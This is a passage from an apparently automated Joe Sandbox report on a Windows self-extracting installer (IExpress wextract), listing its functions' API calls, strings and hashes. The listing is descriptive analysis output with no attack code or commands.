LocalFree.KERNEL32(00000000,?,009A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A594D
CloseHandle.KERNEL32(00000000,?,009A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,009A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5963

Strings

TMP4351$.TMP, xrefs: 009A5923
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A58CD, 009A58CF, 009A5919, 009A5962

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-3033780695
Opcode ID: 42a0039dc4e763449c40c0dab3c89b85d933809ba080f26c1024a63733e437bb
Instruction ID: 75c6a9489ad6024c8d884dd022de1281d40dd8456ecf4f6edb6015b9de508ba0
Opcode Fuzzy Hash: 42a0039dc4e763449c40c0dab3c89b85d933809ba080f26c1024a63733e437bb
Instruction Fuzzy Hash: 4611D0717182206BC7245F79AC4DBAB7A9DEF8B364B100625F50AD6191CB749806D6E0

Uniqueness

Uniqueness Score: -1.00%

Function 009A3FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 009A4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 009A4049
GetExitCodeProcess.KERNELBASE ref: 009A405C
CloseHandle.KERNEL32(?), ref: 009A409C
CloseHandle.KERNEL32(?), ref: 009A40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 009A40DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 009A40E9

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: efb0a42636e596e65acd1f072655112a1ec055b32e7573961552b3867bbe299d
Instruction ID: a237838716aec255eaf9d1d983119b5a9e14c2b87612fd31df1f958ea5a4332c
Opcode Fuzzy Hash: efb0a42636e596e65acd1f072655112a1ec055b32e7573961552b3867bbe299d
Instruction Fuzzy Hash: CD31AD31658218BBEB209B65DC48FAB777CEBE7710F1001A9F605D21A1CA704C81EAA1

Uniqueness

Uniqueness Score: -1.00%

Function 009A51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,009A2F4D,?,00000002,00000000), ref: 009A5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 009A5250

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Part of subcall function 009A6285: GetLastError.KERNEL32(009A5BBC), ref: 009A6285

Strings

<None>, xrefs: 009A5262
UPROMPT, xrefs: 009A51EF, 009A5230

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 825def77d25b9aa6b3b5bacd8b31b2546be39715e99e244320b5426350edc13a
Instruction ID: 239af67f27e9c019d06716fa63ba71e478ee3c887d6307c3ce23cd12a0274483
Opcode Fuzzy Hash: 825def77d25b9aa6b3b5bacd8b31b2546be39715e99e244320b5426350edc13a
Instruction Fuzzy Hash: A31104B5318201AFE3646B759C49F3B61DDEFCB384F124439FA12D6190DABC8C01A1E5

Uniqueness

Uniqueness Score: -1.00%

Function 009A52B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(02EF8F78,00000080,?,00000000), ref: 009A52F2
DeleteFileA.KERNELBASE(02EF8F78), ref: 009A52FA
LocalFree.KERNEL32(02EF8F78,?,00000000), ref: 009A5305
LocalFree.KERNEL32(02EF8F78), ref: 009A530C
SetCurrentDirectoryA.KERNELBASE(009A11FC,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 009A5363

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A5334

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-3647970563
Opcode ID: a9b4283cb2b6ef1f33f4d51de878395fef68c26410455cfbe7a2e016fa891a3f
Instruction ID: 72aa06cb1091ad63f5002b4824cd1aa866e3ee8ad6aad360550af3cf2f1cd53a
Opcode Fuzzy Hash: a9b4283cb2b6ef1f33f4d51de878395fef68c26410455cfbe7a2e016fa891a3f
Instruction Fuzzy Hash: 7B21AE31A28614DFDF219B24ED09B6A77B8BF87794F05015AE882521B0EFB45C84EBC0

Uniqueness

Uniqueness Score: -1.00%

Function 009A1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,009A538C,?,?,009A538C), ref: 009A2005
RegDeleteValueA.KERNELBASE(009A538C,wextract_cleanup1,?,?,009A538C), ref: 009A2017
RegCloseKey.ADVAPI32(009A538C,?,?,009A538C), ref: 009A2020

Strings

wextract_cleanup1, xrefs: 009A1FE7, 009A200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 009A1FFB

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: c5c05d1fd3988f2692551fafd586d3d44c3e8d630c6245adeca64056ca275af2
Instruction ID: 4326faa47403870250eced6c895bba106d19df3b8d6bee023c37a5e23baa13c1
Opcode Fuzzy Hash: c5c05d1fd3988f2692551fafd586d3d44c3e8d630c6245adeca64056ca275af2
Instruction Fuzzy Hash: 78E04F30D64328BBD7218B90EC0AF6A7B6DEB43744F100194BA04A0060EB615A14E7D5

Uniqueness

Uniqueness Score: -1.00%

Function 009A4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 009A4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 009A4DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A4D36, 009A4DE3

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-3647970563
Opcode ID: 31226a919a997a5ba20d88925f1a713017000cec762b129a6fe1b4f481385811
Instruction ID: 15baf8638cd0f9c8e1271bb210f1764f1b8b86973b7ea6dfbe5f2d36d98b6dbc
Opcode Fuzzy Hash: 31226a919a997a5ba20d88925f1a713017000cec762b129a6fe1b4f481385811
Instruction Fuzzy Hash: 8E41E4362041019BCB259F38DD546BAB3A9FFC7304F144668E886972D5DBB1EE46C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 009A4C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 009A4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 009A4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 009A4C7E

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 219947a71def4e7c276ba6770554790814fe2f7ca17290c510a64929f68ea875
Instruction ID: 792887ae8e8c5f17b966584d8d00fd4abab81cf4c1808e53601374f6bb7dbb62
Opcode Fuzzy Hash: 219947a71def4e7c276ba6770554790814fe2f7ca17290c510a64929f68ea875
Instruction Fuzzy Hash: 4FF06D72615208AB9B249FA4CC48AFB7BFCEB46250B44052AA859C1050EB70D914D7E2

Uniqueness

Uniqueness Score: -1.00%

Function 009A487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,009A4A23,?,009A4F67,*MEMCAB,00008000,00000180), ref: 009A48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,009A4F67,*MEMCAB,00008000,00000180), ref: 009A4902

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e6308251e4706d2106aa63690910636d7fe7fd6e98fa70b13b5bf3e1dc196f0d
Instruction ID: f1f828441d4c88b90d1fbf56f556551aed5943cb975c093e7b35d9e5ed59143b
Opcode Fuzzy Hash: e6308251e4706d2106aa63690910636d7fe7fd6e98fa70b13b5bf3e1dc196f0d
Instruction Fuzzy Hash: 880169A3E2A5702AF32440299C88FB7551CCBD7B34F1B0734BDEAE76D2D6A84C0481E0

Uniqueness

Uniqueness Score: -1.00%

Function 009A4AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 009A369F
Part of subcall function 009A3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 009A36B2
Part of subcall function 009A3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 009A36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 009A4B05

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: eefcc37a6980759eee827693cf9ca60f491abe3ded8ccc9314f5ab2f508fc256
Instruction ID: 40579579ba69573b157f49c5f8dfa49323bd5591d76b85a6de64758fbd1d7003
Opcode Fuzzy Hash: eefcc37a6980759eee827693cf9ca60f491abe3ded8ccc9314f5ab2f508fc256
Instruction Fuzzy Hash: A9019231214211ABDB148F68DC05BA67B59FF87725F148225F93A9B1F0CBB0D812EBD1

Uniqueness

Uniqueness Score: -1.00%

Function 009A658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(009A8B3E,009A8B3F,00000001,009A8B3E,-00000003,?,009A60EC,009A1140,?), ref: 009A65BA

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: fddb5427191a5cb8786926cec73dde69480562499d48066f767dfead31bed2a5
Instruction ID: 74f7395cfab3242c06ff705502c106783af1cdfa6e661e76ce6773b071bf0699
Opcode Fuzzy Hash: fddb5427191a5cb8786926cec73dde69480562499d48066f767dfead31bed2a5
Instruction Fuzzy Hash: 35F02832A082509FD33149199884B66BFDEDBC7350F2C156AF8DAC3205DA699C45C3E4

Uniqueness

Uniqueness Score: -1.00%

Function 009A621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 009A623F

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Part of subcall function 009A6285: GetLastError.KERNEL32(009A5BBC), ref: 009A6285

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: fb15c7a622c14120132637423b7ac93e65e334ee8f0e8f68e53ce2949fff4e21
Instruction ID: cba124a9b450825f0b0e778a222911e0c723806d4eadc56b4ef05a1d761659c6
Opcode Fuzzy Hash: fb15c7a622c14120132637423b7ac93e65e334ee8f0e8f68e53ce2949fff4e21
Instruction Fuzzy Hash: 6CF0B4707042086BD750EB748D06BBA37BCDB86300F400469A995D6091DE74994486D0

Uniqueness

Uniqueness Score: -1.00%

Function 009A4B60 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,009A4FA1,00000000), ref: 009A4B98

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: a34ef9c61d6a91e739f7553208d830ca32bbc1c7b2e825ac4e9f72ddb1144994
Instruction ID: 24ee56a2fbcd9bd4f494e0acf73500f951fe3eb2bf95e0de4c297c4314e5fe19
Opcode Fuzzy Hash: a34ef9c61d6a91e739f7553208d830ca32bbc1c7b2e825ac4e9f72ddb1144994
Instruction Fuzzy Hash: 99F0F8B1924B089F87618E3A8C00657BFE8BAE7360310093A946ED21D0FB70A851DBF0

Uniqueness

Uniqueness Score: -1.00%

Function 009A66AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,009A4777,?,009A4E38,?), ref: 009A66B1

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: dd56c14b3dc2c14db627c3f276dc76d9009869e259eea0d76b8302bf0bddbb20
Instruction ID: 7934ef57403dee4410c84ca74ad62aca74279b7e6dc636aefa39819459823213
Opcode Fuzzy Hash: dd56c14b3dc2c14db627c3f276dc76d9009869e259eea0d76b8302bf0bddbb20
Instruction Fuzzy Hash: 12B0927627685043AA6006316C295562845AAC363A7E81B90F032C01E0CB3EC846E084

Uniqueness

Uniqueness Score: -1.00%

Function 009A4CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 009A4CAA

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 82bf78e1208e3c6e3e3f936e6fcee964eac3e685f2a6bf60112c9a404d0fa0ee
Instruction ID: 8b66e7980541c6da1413a54c4e315dcbb52625142945e4c6c94f758b6861690c
Opcode Fuzzy Hash: 82bf78e1208e3c6e3e3f936e6fcee964eac3e685f2a6bf60112c9a404d0fa0ee
Instruction Fuzzy Hash: 17B09232048208B7CB401A82A809B853F19EB8A661F140000F60C450508A6294109696

Uniqueness

Uniqueness Score: -1.00%

Function 009A4CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE ref: 009A4CC8

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 91335c131b4af6a965d1ef320d31746b9079dceaecc0e19ab145fc9f3d3d4791
Instruction ID: 0deff1c607f2d6117418d821fb42407bc072c864be62c4b840eed9add6838dc4
Opcode Fuzzy Hash: 91335c131b4af6a965d1ef320d31746b9079dceaecc0e19ab145fc9f3d3d4791
Instruction Fuzzy Hash: 56B0123100410CB78F001B52EC088453F1DDAC62707000010F50C410218B339811D5C5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009A5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 009A5CEE
GetModuleFileNameA.KERNEL32(009A8B3E,00000104,00000000,?,?), ref: 009A5DFC
CharUpperA.USER32(?), ref: 009A5E3E
CharUpperA.USER32(-00000052), ref: 009A5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 009A5F6F
CharUpperA.USER32(?), ref: 009A5FA7
CharUpperA.USER32(-0000004E), ref: 009A6008
CharUpperA.USER32(?), ref: 009A60AA
CloseHandle.KERNEL32(00000000,009A1140,00000000,00000040,00000000), ref: 009A61F1
ExitProcess.KERNEL32 ref: 009A61F8

Strings

:, xrefs: 009A6118
", xrefs: 009A612D
RegServer, xrefs: 009A5F66
", xrefs: 009A5D78

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: c8ba95675450cc1b98a0bbbed814dd782bdf77cbe29cb077cbf91dddf8999175
Instruction ID: 772b5ebf2b2a8c0142457607056982a536d7ad97ce1c4ff34067eaaa54b7095d
Opcode Fuzzy Hash: c8ba95675450cc1b98a0bbbed814dd782bdf77cbe29cb077cbf91dddf8999175
Instruction Fuzzy Hash: 4AD16D71B08A546FDF358B389C483BA3BA9AB57304F1A44AAD4D6D6191D7748EC2CFC0

Uniqueness

Uniqueness Score: -1.00%

Function 009A1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 009A1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 009A1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 009A1FD3

Strings

SeShutdownPrivilege, xrefs: 009A1F28

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: cd7d950b05d199db1c50da862814f443bf123f82858b55204f1c3416b937821a
Instruction ID: 852f122268f8bde6179fbf3c9a99fbfd1153ca3666ea32c7823fed8459dd644e
Opcode Fuzzy Hash: cd7d950b05d199db1c50da862814f443bf123f82858b55204f1c3416b937821a
Instruction Fuzzy Hash: D421A371B482457FDB205BA19C4AFBB76BCEFC7B15F200419FA02E6181D7748801E6E5

Uniqueness

Uniqueness Score: -1.00%

Function 009A6CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,009A6E26,009A1000), ref: 009A6CF7
UnhandledExceptionFilter.KERNEL32(009A6E26,?,009A6E26,009A1000), ref: 009A6D00
GetCurrentProcess.KERNEL32(C0000409,?,009A6E26,009A1000), ref: 009A6D0B
